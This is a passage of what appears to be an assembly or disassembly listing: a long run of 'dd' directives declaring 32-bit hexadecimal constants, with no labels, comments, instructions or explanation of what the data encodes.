		dd 1A4C4227h, 0CB5D00C6h, 99E60C30h, 0D5983Bh, 99B38DDh
		dd 0E242C778h, 292C00F2h
		dd 0EE11C1FCh, 1900D75Bh, 0ABC83773h, 751EB8h, 0EB586C17h
		dd 0BEC93BDBh, 0CA70F502h, 612C4A8Eh, 0D0E329EBh, 37ECC5D5h
		dd 5020C6F9h, 9F8EB18Bh, 0E9181300h, 0FDE3DD31h, 30E5003Dh
		dd 1DBC97CBh, 0DA18B6E7h, 1870769Bh, 29583492h,	6CE18058h
		dd 0C3003F6Bh, 73013630h, 0EFDC16h, 85643991h, 0E08F70B9h
		dd 2674AC00h, 0ED66E97Fh, 8D2D0042h, 0BEAFFCD3h, 960013E3h
		dd 0B6A0B499h, 0A4D94110h, 1300418h, 60851E33h,	0ACD94379h
		dd 0FB5582Ch, 314022Ah,	0BB03FAD9h, 9150A50h, 8330C2B8h
		dd 0BAFA73h, 0C4941E39h, 245D79B9h, 65B72A1Dh, 0A1648A14h
		dd 1C4CBDCDh, 5A090319h, 0A12CCA29h, 0E0DB0815h, 69C38138h
		dd 0F90CFCD3h, 30E2D02Bh, 0E3C77508h, 12A85159h, 6105F36Ah
		dd 8C2690B6h, 0E3039C68h, 393490DAh, 401F6834h,	8A682384h
		dd 4218EE94h, 0F882DA99h, 64B868EAh, 85431D63h,	9EEA0C00h
		dd 215BE1D4h, 0E5645C07h, 0D760FB6Fh, 95BEA4h, 677899EDh
		dd 0C10572Fh, 92874A1Fh, 0D931FB40h, 5423BECh, 0F1C17106h
		dd 7920223Eh, 85F7035Fh, 0C840007Ah, 0D92A0C1Dh, 1B7BDA3Dh
		dd 0BBE38D00h, 217E1C61h, 1140AE92h, 62A7587Dh,	9C8A41h
		dd 0BF3C543Bh, 88037B37h, 7EB6F040h, 8023A81h, 5BC44852h
		dd 0FF6A707Fh, 0A80AD27h, 61400525h, 0F48935CAh, 340ABC5Bh
		dd 88849BBFh, 0A92DB1Fh, 0AD19BC06h, 2D950EE0h,	8CA53BE1h
		dd 290FBBE3h, 8B7201BFh, 3859417Eh, 947BA085h, 0AA3823CCh
		dd 0F01D48EBh, 0BB1F80CFh, 0FB00871Eh, 7BE1D646h, 760DF11h
		dd 957EB05Eh, 0C56470C6h, 398C99E2h, 0BD1D9B0Ah, 7BD0703Bh
		dd 0BF5A3D72h, 0E30A23ECh, 0E250C6FBh, 0EA388F53h, 0BF991EA9h
		dd 0E1C04EBBh, 0E940248Ah, 7EFCAD02h, 914A1CA0h, 0A838773Bh
		dd 0D4F08A23h, 0A6EE38CBh, 2399273h, 2A5E945Dh,	0A48AA330h
		dd 10905318h, 0A6309B14h, 0CBAD10EDh, 0F6FE016Ah, 0ACCA596Bh
		dd 3C1C0B8h, 0D408C061h, 0C44B1D6Eh, 0BD683E07h, 308F875Eh
		dd 0E6548AAh, 67635091h, 54DFB8Fh, 63C10A29h, 14802CD5h
		dd 0C5775218h, 2BA8EA29h, 8360D567h, 297381DAh,	404A293Eh
		dd 588FFDDBh, 8071991Bh, 0B67C5F2h, 392A8069h, 0B241A8C4h
		dd 0DAD200FAh, 0DA10F90h, 58F19774h, 140A7720h,	0AC097F29h
		dd 5A3B8A00h, 60F99BDBh, 6ADD3089h, 440AE10Eh, 6CA1080Bh
		dd 0E70D77C0h, 661F00FCh, 88ED56C3h, 0C000BAE4h, 86CC64ADh
		dd 2CC4A305h, 57F491h, 36C15F9Ch, 0E40E96F6h, 0EA613F7Ah
		dd 0ACC018BBh, 6BCB6341h, 3E005802h, 20C96C60h,	696EE000h
		dd 1B3787C1h, 1B1CA6D7h, 5E7AED35h, 3C763804h, 4F836C6Eh
		dd 0B009AA20h, 10E7EE18h, 10173A6h, 639FD2D6h, 144CCA89h
		dd 7CB81DE3h, 0C15980F9h, 5B8FF7B6h, 0E50610A8h, 0B29C3E10h
		dd 5E311603h, 8FC0896Eh, 2353C962h, 0C3A00F28h,	78DC6C07h
		dd 6BE005F6h, 30F0297Dh, 97B19C2Ch, 0B02BD42Ah,	6EE88815h
		dd 6779C150h, 51823B13h, 6EFAE236h, 0D9CE0C16h,	96294412h
		dd 6ED5EA00h, 976970C9h, 6A983AFAh, 27779A0Ch, 9E3A7A68h
		dd 0A32E0B5Bh, 0AE210564h, 0AB703C20h, 761044EFh, 6D81F803h
		dd 0A3827749h, 5A6AB029h, 3FDE0309h, 4C44A964h,	4CE869A1h
		dd 8B1C6860h, 0ECC01063h, 0B323D6C1h, 749A56E4h, 1AD3AB0Fh
		dd 0B612B4D5h, 89084206h, 50B86C7Ch, 110FDA7h, 160C2CD9h
		dd 1C90A9ABh, 0D129BDFCh, 158030CBh, 0B67C549Dh, 0F6C10E5Ah
		dd 69A5AFDAh, 0CD182C45h, 5E594C0Ah, 1D8CD0DEh,	0D4849001h
		dd 27B03868h, 46203547h, 0F2360A2Dh, 0E074E77Eh, 0C714839Eh
		dd 8AD41B54h, 0DB33FF07h, 5B410560h, 7BE1EF17h,	0DB06A44Ah
		dd 0C1610870h, 0D81A7619h, 1D2D330h, 0E130414Ah, 480C2739h
		dd 0F232648Eh, 0A0B88490h, 0D31B032Ah, 59BBCD5Ch, 0D9B0800h
		dd 357AEC21h, 0BAE13F30h, 617C66BDh, 4D1B60C1h,	0E845D2F8h
		dd 0D6AC4281h, 0B600DD78h, 0CD0C2ACFh, 50D12E7Bh, 0E10B0770h
		dd 402F95DAh, 0CD5F931Ah, 7FE01B01h, 0D8385B0Dh, 76A18887h
		dd 1F94C336h, 0DC8C901Fh, 34675B00h, 63B93B33h,	0E2AB1008h
		dd 0C0AA82E7h, 85D72702h, 0A400ED84h, 0E26C40BBh, 13140F5Ah
		dd 0FA0CDAECh, 9B3A7040h, 0A09C4837h, 24FFC76Fh, 81F0A8FAh
		dd 1BCF45FEh, 8109BA92h, 0E4DAE06Ah, 0B8D0E27Bh, 0DB361463h
		dd 20749076h, 1A040C62h, 0E87AE13Eh, 0DCE46170h, 701FBD20h
		dd 0E0F263F6h, 0F87301EAh, 3AE25400h, 7A95298Ah, 90103AADh
		dd 1AEC6A61h, 99C50FCh,	9B183673h, 0CBF006CEh, 4C049819h
		dd 491108A8h, 73FC139h,	0A824D2C2h, 335D0656h, 78E37BCFh
		dd 0F898FB28h, 1602FA19h, 0FC42A710h, 16865DAh,	0BE765B2Fh
		dd 3648808Bh, 0FB286949h, 0BB90A11Bh, 5BD139F5h, 0F02AA7C4h
		dd 5230F98Eh, 0E196047Bh, 8197ED3Ah, 40228C28h,	0E24456C8h
		dd 0D9DB9A0Eh, 0E74587E0h, 20401A41h, 0A01B1820h, 7830BA88h
		dd 599A182Eh, 0EBD9A849h, 4DEE40C5h, 46168805h,	4AB9C806h
		dd 0DBB13A28h, 51C55A0Ch, 28C3C710h, 0A74E7FFAh, 18479383h
		dd 82B0790h, 0B58144AEh, 9D7AB440h, 0E7E0A13Ch,	0CC5AB841h
		dd 0BE1918BAh, 87561041h, 47B27A70h, 147C1A43h,	9C6D3A10h
		dd 51856274h, 888272EEh, 5041FF05h, 0FB882012h,	0DB10C961h
		dd 408365B6h, 0BAEC4859h, 9C83ACF2h, 0B81BEF30h, 0E638585Ah
		dd 0B32D2441h, 10CC1814h, 0C2649F7Bh, 5340BA08h, 69DBCF6Fh
		dd 9B905E50h, 0EE985F50h, 0BA185C90h, 86983D41h, 0FC4A09Dh
		dd 5ED8C45Dh, 94A48059h, 9B30CF66h, 93DB107Bh, 8240CDEDh
		dd 86B3F010h, 0B261CC7Ch, 14A73AA0h, 74575020h,	11A1E3Bh
		dd 489A0605h, 3551D0B9h, 743FD09Ch, 0FE5AE30Ah,	2A18AC28h
		dd 0C631DA18h, 905B6F81h, 0D4952B28h, 0E8678828h, 37839D1Fh
		dd 80133E8Ah, 8C15FD00h, 0E8F2589Bh, 127C313Bh,	0ECA04D10h
		dd 0D47F89DBh, 0BA671B1Eh, 841FBCDh, 183E08F0h,	28637B9Eh
		dd 0D3633D5Bh, 0E0215508h, 0C7EAD63Bh, 41E48750h, 87C47ADBh
		dd 0AFF63908h, 0A0F557A3h, 0EAE0B04h, 75EEA4A8h, 20BB4487h
		dd 0ED329F27h, 630086F4h, 77B9924h, 288889h, 44A4B65Eh
		dd 4A94EA8h, 8338E06Eh,	0C1AB0F9Dh, 50B8D068h, 0E4A9BD83h
		dd 280BA7F0h, 7FAFB869h, 0C486810Eh, 84387832h,	0A210E3F3h
		dd 51901EB7h, 65440685h, 4C0658BBh, 2C5BB31Ch, 74D7E8C8h
		dd 0DEFCE5h, 0E83B9199h, 4ADBB303h, 84AF1707h, 64408D62h
		dd 1D8C979Ah, 60AF0FBh,	400D3E1Bh, 8E94431h, 7BF056A4h
		dd 9192069Eh, 585341BBh, 8202C34h, 398C210h, 0C4A8ABB1h
		dd 69D91E2Bh, 4CE4067Eh, 0FA2808D1h, 10379CD4h,	0A08C5088h
		dd 591328DBh, 319A3BC0h, 0EC07A700h, 162C2094h,	0CA01A0E8h
		dd 0D4804FD5h, 19D04EDDh, 14B7CA6h, 2048266Dh, 304FC565h
		dd 0E0F0A7EFh, 70A9F948h, 93463Bh, 13E337E7h, 0E8E5D627h
		dd 8396FC7h, 0F9BC7000h, 0A69F167h, 4F720010h, 1476AAE0h
		dd 0E5C68BC3h, 60B5B200h, 0BC74D5CCh, 1D64EF04h, 338313AFh
		dd 0FF07A02Bh, 0E7F42BC9h, 17CE001Ch, 0B3FC6E85h, 3984EF00h
		dd 3B87EDC0h, 0E0558009h, 0CC3078C0h, 46B9204Fh, 4D74136Ch
		dd 4080170Ch, 7C0D1524h, 42DF34F1h, 0ED49A378h,	0D6334401h
		dd 0AC97F0DBh, 8470E13h, 7E80F683h, 51A0494Ah, 0B5986774h
		dd 0C087B60h, 28604439h, 3A9CCB07h, 0C01953A2h,	0C5E010E3h
		dd 0CC80F0EDh, 0A000147Ch
		dd 604FD689h, 0F04EDC15h, 282765BCh, 20D40358h,	101BA1C0h
		dd 9BE08067h, 9081802h,	0A20CF8A8h, 5C2887F8h, 0F103F8BFh
		dd 0D8604835h, 507874F6h, 0C3E3D427h, 1159E010h, 8468401Eh
		dd 0C088287Fh, 0A24FC710h, 84D9618h, 0DA81B471h, 0BE8CA700h
		dd 0A52EB0C6h, 698909C0h, 628AC049h, 18DA1818h,	0BC549120h
		dd 38C6B294h, 0E13030A6h, 45C094C1h, 0E5E8EBh, 0A4FE8553h
		dd 4F97E96h, 1B1D33Ch, 0F5CA6AE4h, 0A7CF2624h, 1D2894C6h
		dd 78FE084h, 8F8CEBC4h,	0F5F44F83h, 188EC6E5h, 4D0A7C03h
		dd 188F285h, 0F96B9E10h, 0B10744h, 70D23DC9h, 0A0B23AE4h
		dd 8408C07Fh, 255EF990h, 4C70C004h, 6504DE05h, 0E7E50F2Fh
		dd 0C6834D3Ch, 7C05A09Ah, 0F7C5F03Fh, 523E31B9h, 61F52500h
		dd 629A455Ah, 7C1E85E8h, 1B005E8Bh, 17C55B4Fh, 31E5F87Ah
		dd 67206039h, 4825E07Fh, 8B80EB61h, 4BE15B4Eh, 0CFA5C1C3h
		dd 2CC4A9C8h, 0C7B5D3Eh, 0D8209434h, 0D00890FFh, 0CA9DA50Fh
		dd 45D60523h, 796BE5E0h, 0C24F90Eh, 0CEDA6355h,	0D13AB89Fh
		dd 31A57C0Dh, 3670CBE0h, 4A5880F2h, 0C5112AEAh,	206EA64h
		dd 8768AE1Fh, 0F082C0EEh, 1090EBB3h, 5A107839h,	0A000F6FCh
		dd 852FF1D4h, 280DED33h, 0F8ECF805h, 342C98CAh,	0D3010061h
		dd 0AFC719F2h, 0A60189FBh, 0CB8CC242h, 0D1C43B62h, 4D903A82h
		dd 0C306A200h, 3D91BEA0h, 4AA9610Eh, 8D89E0EEh,	0CFC71Ah
		dd 62A6B3CDh, 2D4B775h,	4039E831h, 42D034DCh, 0A1D805E0h
		dd 23A94B4Dh, 7DB8A524h, 6F80ACF6h, 1F97A52h, 0CB152B62h
		dd 0D967FCA2h, 641C5843h, 0A0FA883Eh, 768F02BFh, 3182A5FBh
		dd 97995498h, 8E83F310h, 16682F00h, 1F93E328h, 0EB0363E8h
		dd 5C8327FCh, 8043A3E1h, 3C2A6C5h, 2DA1E0AEh, 0CDA0E740h
		dd 74015C54h, 0CA63CFA3h, 0C33622h, 0A2B02610h,	0A714A62Dh
		dd 7F3E96B0h, 0F3821377h, 0E3A1BB00h, 50FF22D4h, 748B8838h
		dd 0D6020E83h, 0FAC323FDh, 0B5C1CB3Dh, 0D188029h, 0B042D079h
		dd 7722F080h, 633E07D7h, 4524874Eh, 0F270306Ah,	3900E965h
		dd 4FC67473h, 2CBB8E5h,	5AAED642h, 0A68220E3h, 0A480EE03h
		dd 0CB995DC3h, 0D0FF8270h, 51C064E2h, 5F0C34FAh, 0E9B2019Dh
		dd 0AAFD5C7Ah, 45C6EC1Dh, 2DAF9900h, 8665F8BCh,	184C50CDh
		dd 0A1551130h, 37BD0373h, 0CD994A75h, 0C9331430h, 58EB2085h
		dd 3D905D79h, 36006798h, 0DFD3F8A6h, 0EE4DD8BCh, 3C34AEB9h
		dd 800D591h, 0FDAAFF26h, 0BC1FDE31h, 0CC425E98h, 90A0547Bh
		dd 18D3D018h, 70593DA2h, 0E602079Dh, 84338A6h, 5850B845h
		dd 0C1811823h, 973D6024h, 9BCCB306h, 8CA8610Ah,	6ECB0048h
		dd 4B931573h, 0B7ECDDAAh, 0AB1BCF0Eh, 8F7B85BCh, 2B189805h
		dd 0CB119C40h, 782D949h, 13F95397h, 4CB8C2E2h, 3C722C98h
		dd 0E1A9E33Bh, 0B9C97D88h, 74515080h, 6333991Eh, 7F594A00h
		dd 8E7945D2h, 31B9E8DBh, 2F0825FEh, 96E087EDh, 0B5434E50h
		dd 0EF19E0EAh, 0E98FEACh, 58A6CFD6h, 0C9E1DEEh,	8F10D027h
		dd 181F377Ch, 0D80A20FDh, 7807CC62h, 0B8C33B29h, 18180860h
		dd 47081DCDh, 0CE580C10h, 20C1F240h, 0B9653038h, 0A00985ECh
		dd 0F07FC5E8h, 36913C78h, 204C3818h, 0C65C60D4h, 0CB351D3Bh
		dd 21C35406h, 8C671E08h, 197118D8h, 34F8C08Ah, 0D9B33Ch
		dd 35E5F814h, 10EFCCF5h, 1884D4D8h, 9410C0F4h, 20DD7855h
		dd 0CDF84FB4h, 741EEA7Ch, 340667ADh, 7A386EE4h,	4418CC70h
		dd 20C67A11h, 181847B4h, 3092C8F4h, 28C6A7FCh, 31089EB7h
		dd 0F8A0954Bh, 0CA708C64h, 403A28E3h, 18C3146Bh, 3082F6B4h
		dd 34101B08h, 0D0BFD7C7h, 5470CF9Eh, 148344AFh,	100F7BF5h
		dd 67C29E5Fh, 0D44183EFh, 0F4E0B14Ch, 1FA97C9Fh, 60FAB14h
		dd 208DF174h, 1B309A6Fh, 2838301Eh, 4E9C5470h, 807088C7h
		dd 0FD7D34D1h, 91AD4080h, 0A9163561h, 2D31F5E8h, 0E2A108F1h
		dd 3EA615F0h, 0AE1D66D6h, 77003CD9h, 0CA0E925h,	0BFA02897h
		dd 32B87A8Dh, 0F1C6F300h, 0B566C784h, 0F414A699h, 871E10DCh
		dd 26510337h, 0E295614Eh, 0E0653003h, 38670CB0h, 0CD32B128h
		dd 8704166Fh, 204E6546h, 0D7C0110Fh, 7191156Fh,	72072CA5h
		dd 811C8458h, 0F0160271h, 0BDC87561h, 7A328082h, 8BAEBC83h
		dd 1EE295B8h, 6E5C3A74h, 6C541847h, 512D9408h, 4A86A4FDh
		dd 88B156Ah, 30818C85h,	44639824h, 0D029D101h, 0AF5054C2h
		dd 3C313590h, 95A710BEh, 8E1AD442h, 438DC4C0h, 0F583481h
		dd 985EDC42h, 103E7A2Ch, 0C421B6Bh, 3849DB31h, 1BA67404h
		dd 40887255h, 94508084h, 4D8093FBh, 0D56601D4h,	17EB7FBDh
		dd 0F7089DCFh, 33100D9Ah, 57AFA060h, 0E53D0372h, 235E91C6h
		dd 14AC4029h, 0E2EF9C8Fh, 40E85D83h, 0A3895B00h, 0C27F88ACh
		dd 90BFFA94h, 0B7433138h, 204F25E8h, 5490773Ch,	0A0DAD430h
		dd 0D00D4634h, 0BBA0DCB0h, 3D126F05h, 1C04FF29h, 7804F017h
		dd 78095B8h, 5C587550h,	0AC740678h, 0A890D57Eh,	0A044B448h
		dd 33EF90DCh, 0B1B087AEh, 30267ABBh, 940734C5h,	16899C8Dh
		dd 7C890260h, 0E756E5DCh, 8C8B3841h, 40915528h,	0D8E12435h
		dd 0A64137Ch, 50A81418h, 18192E44h, 71404003h, 8271058h
		dd 574DFE2Dh, 0C57FD100h, 29F55566h, 65BC61EFh,	5F4EC101h
		dd 31D0403Eh, 2E81C5ADh, 6735308Ah, 0A708E0A4h,	0E628585Dh
		dd 7326E8EEh, 1009A404h, 2F4404BDh, 857430C1h, 969344Ch
		dd 1452CCB6h, 906CF024h, 0C297BC94h, 0A2635091h, 0E8DAE9D1h
		dd 8A516888h, 0FCC4D402h, 5F096C2h, 42DB0F13h, 3EC846A6h
		dd 748300Ah, 20343C90h,	1873489Ch, 409CF429h, 2DC85B69h
		dd 1140AB61h, 644A99C9h, 48E6A303h, 98091C44h, 3494371h
		dd 1680E040h, 118AB560h, 839E3020h, 0EA6766A8h,	80D13808h
		dd 40C82196h, 0E2C14CABh, 29E8A420h, 4014B1C9h,	0D03E4BFAh
		dd 0C45C3828h, 14825F73h, 30CC06A4h, 28229668h,	68B2F17Fh
		dd 0F0BD4924h, 89D5A0Ch, 0AC40D0F2h, 572132B0h,	2C797820h
		dd 9B985351h, 8AA4386Ch, 4DD10310h, 0A1D411Ch, 9C51B170h
		dd 55F75060h, 4BEB9D10h, 4BF81116h, 5808A530h, 0DDE0E018h
		dd 88241E78h, 1D707CE8h, 41A60896h, 9F165C3Bh, 0C3744C05h
		dd 61F4E402h, 6AD086E1h, 0B38C3109h, 897F8920h,	5FE2E08h
		dd 0CC81BDC4h, 0C4643594h, 0E86959E4h, 702CF726h, 432A0EFDh
		dd 3119B069h, 30609A58h, 32140820h, 0B310AC9Fh,	0C32080C8h
		dd 0EB988CB0h, 41DA31F1h, 853A7484h, 1F9CF470h,	0D49C405h
		dd 0AA8B038h, 8A2A597Bh, 0EE910684h, 66E268B5h,	0B40EB4A7h
		dd 5BE0E26Eh, 0D50041F9h, 99F012F3h, 51843895h,	9808B600h
		dd 0C78F6B19h, 0CDC90079h, 0A66E1838h, 0E200FB32h, 8BAF2252h
		dd 596763h, 0FA278497h,	5EF8CD24h, 0D814D974h, 8018686Dh
		dd 0F157A01Ah, 758C108h, 718249A4h, 502C0CFCh, 5A9FF208h
		dd 5467026Fh, 28B8A718h, 0B0F18F74h, 6147506Ah,	0F8A72B1Fh
		dd 4AC10714h, 9501CE60h, 1B1A784h, 3C4C5D98h, 4EFA180Ch
		dd 9187293Eh, 247878C2h, 2748386Eh, 281CE030h, 11D26BE7h
		dd 0C01518A7h, 0C8C9B4CCh, 0E6A4A8C2h, 78A7570Bh, 195B9A03h
		dd 50054E12h, 824A8027h, 5ED56470h, 0F3842A2Ch,	0B5CC15A0h
		dd 80C13C82h, 10EB3D0Ch, 1F2ED367h, 40CD59ACh, 45A97882h
		dd 0A461F9A6h, 969A9908h, 0B2F0188Eh, 31175885h, 0CC8E3128h
		dd 4780DAA2h, 85A990B5h
		dd 0A00581A0h, 82D474E1h, 0FD1FA728h, 7778B899h, 73C53018h
		dd 0FE0487C9h, 0C0F09952h, 50E62371h, 35E780D7h, 5098692Bh
		dd 2BD5AA83h, 0C7510AAFh, 503C8499h, 0F895A315h, 2778C033h
		dd 389998FEh, 0D0860A31h, 58E08509h, 0FCD2531Bh, 0C3CE469Fh
		dd 70041D3h, 0B9A66526h, 291DDC91h, 83187141h, 791BC742h
		dd 4B679914h, 273807D8h, 30CAAF48h, 0CB83C6C3h,	47F1095Fh
		dd 541C29C1h, 50FDCD05h, 0B444EBD5h, 908E14A2h,	78152B02h
		dd 0A441767Fh, 23B5C187h, 75A380B8h, 0A8041B6Fh, 4815B3B4h
		dd 0F1B0F8A7h, 4924CBB7h, 0C704541Dh, 7C8E2898h, 43D713Bh
		dd 6B11F930h, 0F818DB08h, 8F080DB8h, 10296F0Bh,	32C3CD20h
		dd 6300C4A7h, 56655380h, 0CF66DDh, 87706F6Dh, 0E42E3223h
		dd 4D004A7Bh, 7939B42Dh, 1828EF1h, 2B98A9BCh, 30AE7FDDh
		dd 6D00E572h, 0C2BF127Ah, 3F20653h, 49428A3Ah, 20E882C7h
		dd 0C60009E7h, 0EC26D61Dh, 2F8EEF1h, 286A2C5Fh,	0CE81B6D7h
		dd 0F4031D8Dh, 3430634Bh, 5002B972h, 7548FC4Ch,	6587003Ah
		dd 9A2F84EAh, 3D00C18Fh, 0B92E43A1h, 1E05E02Dh,	4342214Bh
		dd 0A05CD251h, 0D6C0FB88h, 8D728C00h, 9436B250h, 0CA700BDh
		dd 69F4939h, 0F005852h,	83913B74h, 1C0990ACh, 80ED9255h
		dd 4D9CEECCh, 0D500C732h, 0D1E44C9Fh, 1477B18Fh, 4B0BE10h
		dd 83625180h, 0B157700Eh, 8D08A60Ch, 88500030h,	90F7F60Ch
		dd 0E02113Eh, 0AFF12A6Ah, 21F081AAh, 18881075h,	0B3455676h
		dd 2BE21844h, 74851B20h, 84249A88h, 24F31A28h, 0A712621h
		dd 80C3EF7h, 2B454EBEh,	244A3C4Ah, 300A288Ah, 453CC208h
		dd 0AE244829h, 9793FE67h, 40A080FCh, 57B20032h,	0D1069817h
		dd 0A51C5911h, 2C589EBAh, 44235119h, 9C40723Ch,	6E20Bh
		dd 8FF28481h, 4AD5F21h,	0EE0093B8h, 0CF714B8Ch,	6066D5E6h
		dd 20BB6AFDh, 18D8B918h, 0D67220h, 0E7580C3Bh, 0A752B329h
		dd 78513F20h, 69A401ABh, 0F42667ACh, 18B6DCD1h,	0FAE10F07h
		dd 4157AF86h, 89FBC2D0h, 0BF820057h, 0B906D4A4h, 0B3F60C61h
		dd 0FAE56017h, 0ED672B00h, 0A0284Ah, 1F3ED7BCh,	0B8BE2426h
		dd 0E0399C0Ah, 6B404C21h, 0D688769Bh, 0F8B400D8h, 2941B51Dh
		dd 0F7E4E314h, 0E6AB0084h, 0DEEC30BBh, 8CBF00E8h, 5E48BAC1h
		dd 0E5007E0Dh, 0DA11880Eh, 0D340A5h, 0F0B9AF77h, 8321A95Fh
		dd 0D6FE303Ah, 0DA43781Ch, 7D2E91CEh, 0F704F87Dh, 0C0081666h
		dd 89A62FB2h, 0A1C08A52h, 0BBE86E3Dh, 0CDCA0EE4h, 0C100AE8Eh
		dd 4A1B2FA3h, 0D63228C0h, 399287h, 0EBE5E681h, 93F03FA9h
		dd 9CECC500h, 5ED7301h,	55CAC69h, 0EE4F81AAh, 29F6829Fh
		dd 0FA3E1A40h, 67F1DB01h, 0AF7032A5h, 7DD41ECh,	71FDE7F9h
		dd 0FC108036h, 0AC183D5Ah, 31892C79h, 0B4CA636Dh, 81C4572Fh
		dd 0C4662410h, 0DD304403h, 0AE3D292Eh, 3C9174B3h, 0D7033B0Bh
		dd 0F0CCA4DBh, 4AED7CC1h, 77EC8058h, 0F6EB376Dh, 68E10072h
		dd 0BFA8BB2Eh, 840024ACh, 0EA5DFA8Eh, 8BAE4Ah, 0BE199585h
		dd 2BAB3120h, 83693E00h, 0FA8906BAh, 0D71E07A2h, 0B0AE50ADh
		dd 4C22B893h, 0F097D507h, 0F850BF48h, 144ADE2h,	0D85F4533h
		dd 0E0AE5AD3h, 853A7DB3h, 0FA1C7A57h, 753CC4B5h, 31D70630h
		dd 0F96E654h, 958CF5FBh, 5B7608C3h, 8F1CC0C8h, 9D0047FCh
		dd 0C540E139h, 0DE5CBBh, 64A20444h, 692D535Bh, 821CDB0Eh
		dd 1F8563C6h, 0D8790346h, 2D2F73C9h, 9D5B10D8h,	0A7B0AA07h
		dd 2490493Ah, 3C4ADDEh,	0FB645C57h, 900DDFD5h, 409260B6h
		dd 0F930E0h, 0B84BC1ECh, 0A7ADD8B9h, 7A1CC7B8h,	0A9054A9Ch
		dd 0AC2BE588h, 9E49F7C0h, 57000D4Ah, 2BA786Eh, 0A832DAh
		dd 0D5CB0FC5h, 9FF52D46h, 4733CA00h, 0BD5984EBh, 5B6EEAEh
		dd 6C0D10E0h, 15447BBAh, 384C68Ch, 0C8E240D4h, 981C9028h
		dd 52B0013h, 0D70EB2F3h, 0F21D45ACh, 1ECF540Fh,	0BA112007h
		dd 3CCDAF5Eh, 339DC6ABh, 62380E7h, 0F6A8384h, 0A38B6900h
		dd 57A616ADh, 7C6E00B2h, 0E400A21h, 5A37F12Fh, 0C07330ABh
		dd 44910AA3h, 0C1E7EFh,	0B39F66CEh, 0CA05498Ah,	47EA12BCh
		dd 96628470h, 0FF433CA5h, 0D724F787h, 0FB640D8h, 0A2025621h
		dd 0EBDD3C9Bh, 53B62D2h, 0B9001084h, 5E8A81ADh,	0E9381C99h
		dd 0DD3E86B7h, 0B30080D2h, 80ACD5CCh, 0ECE75962h, 45C8006Ah
		dd 35C9225Eh, 0D0A4C6D8h, 0AC93F30Fh, 0E4EF2023h, 9151EE47h
		dd 0B4765E64h, 71CE4000h, 5CADC80Eh, 0F00F1F1Ch, 0C0E1DE51h
		dd 0C1E4488Eh, 930716BEh, 7BCFB59Eh, 0EB69631h,	92AC0C22h
		dd 0D929AC30h, 91FCB536h, 28170004h, 0C44DC973h, 89533B14h
		dd 1907AFFCh, 40605893h, 0FF57467Ah, 0F5565B00h, 23BF8840h
		dd 5A30047h, 7EB832EDh,	0BB02A6C6h, 6AF8F6CEh, 60B86057h
		dd 0E85C051Fh, 0A28C5Bh, 43DB84BCh, 8F7DA9EDh, 59734500h
		dd 9A0117E4h, 0A2AF015Dh, 8C39037Ch, 0D754D0A1h, 1DF1BC1Dh
		dd 60206FFEh, 8C40D063h, 0DC0B02F2h, 83D2C5Fh, 2DC7D321h
		dd 6365A0E0h, 2B4C108Fh, 8F9D37C1h, 2346D21h, 8011EEh
		dd 307F2DC4h, 2E5C20A0h, 6840F3F0h, 796B60A4h, 1DE3664Dh
		dd 0F0545E30h, 0BC0CFFh, 366CFABBh, 3B03E0F5h, 0FC1D3Fh
		dd 0BEEA1710h, 1A2B5CBh, 0CE4767E5h, 0C8E72760h, 53000118h
		dd 0B858E8D7h, 0A8BC6366h, 0A5E499Ch, 0A864B5F5h, 363A0684h
		dd 0DB164012h, 0C6008F92h, 2ECF555h, 0B3C30BAh,	1EF9E448h
		dd 0E3D94D06h, 0F0B0A032h, 3BE8075Eh, 316A9636h, 0E00C9752h
		dd 8F342609h, 0E41C49D7h, 0DB0D7112h, 6BCF0AFh,	0CA170F09h
		dd 0AE8C348Ch, 51907B60h, 0BEEE3h, 8CAC5E9Fh, 3BD51315h
		dd 6100C4E2h, 0AF57F6F1h, 382697E7h, 4F0EA2B6h,	62A06E2Eh
		dd 0C22B788Ch, 0DD457E00h, 0F1FAE27Ch, 1C95036Ah, 0EE233165h
		dd 6346C4E0h, 7BA838h, 95044C7Eh, 3EDAC2h, 541A5EA3h, 92CC5298h
		dd 49884700h, 0E001651Dh, 26DB00F0h, 150AA859h,	0FD00417Dh
		dd 30739563h, 256085h, 8C1A1E79h, 0AF7A9753h, 49213400h
		dd 51A68D62h, 0BBE2D0h,	9A4DB41Bh, 180AB26Ah, 0C60FDAEEh
		dd 0AAA8CAh, 4D61FB7Fh,	74CB00A5h, 35454996h, 2B07D38Ah
		dd 9B3A4838h, 3227F870h, 82E60041h, 87547C8Ch, 0D1038BA1h
		dd 0D36D1BF7h, 1F2FC88Ah, 0A7B400F1h, 397E2AECh, 2603DC50h
		dd 0D9030938h, 9171F0FBh, 1E370002h, 0B01DAE14h, 643C0477h
		dd 860B00B6h, 85719395h, 0C4220F72h, 5141B273h,	47FD1987h
		dd 4755A3C2h, 0F6CD9890h, 7A63BB00h, 0AF728392h, 7F4C0010h
		dd 11D4C19Ch, 0BD00986Dh, 51CA78F6h, 13AADD1h, 0D580AE55h
		dd 0C73C84B9h, 0DCDE1100h, 52E0E2Fh, 4D30300Bh,	0E4950D19h
		dd 3E167C0Fh, 9A2EC00Ch, 0F056AAh, 0B44449EEh, 0B0C6D7D1h
		dd 0DA03E9E6h, 11571EDBh, 5831F07Ah, 0E3C9863h,	0E2608694h
		dd 1C355660h, 0C70037B2h, 49FA1DFBh, 3CBD5513h,	0BE80B963h
		dd 0B116946Eh, 0EC00F01Fh, 0B81DC920h, 31E25382h, 4C44E559h
		dd 0F958C4EBh, 1DB0A400h, 3257FDD4h, 0ABAA0EE0h, 71C0604Ah
		dd 5CCA0159h, 4BCEFA00h, 0E8B03038h, 7F3F25Ah, 0DB89215h
		dd 0E3BD017Dh, 3BE9DC39h, 5B03800h, 19B35806h, 28A9002Fh
		dd 7596E2EFh, 2403E97Ah, 0D93D908Ch, 68AFD06Ah,	0E83400E0h
		dd 39214683h, 7300AA62h, 2EE3163Dh, 604FDDh, 0BD570A1Bh
		dd 0EAC9611Ah, 1397258h, 0B676F238h, 1880F801h,	0AFCD7046h
		dd 210F9E50h
		dd 3C99ABB3h, 398F2400h, 24B96FE4h, 2747CAh, 0FF95C107h
		dd 6600938Ch, 3B257E54h, 0E8BE27D6h, 0A6C30181h, 0ACDABBC1h
		dd 3E3E20FBh, 37D8C801h, 555E771h, 51A3FCh, 127B402Ah
		dd 6FB36D14h, 0EBD79300h, 3DB0BDE1h, 39430029h,	0BB51039Eh
		dd 0EF00078Eh, 4908BA2h, 39422E9h, 91D2681Ah, 56C0ACC7h
		dd 6B002B2Ah, 0F8496090h, 634731h, 0E083C3A4h, 0DAD41033h
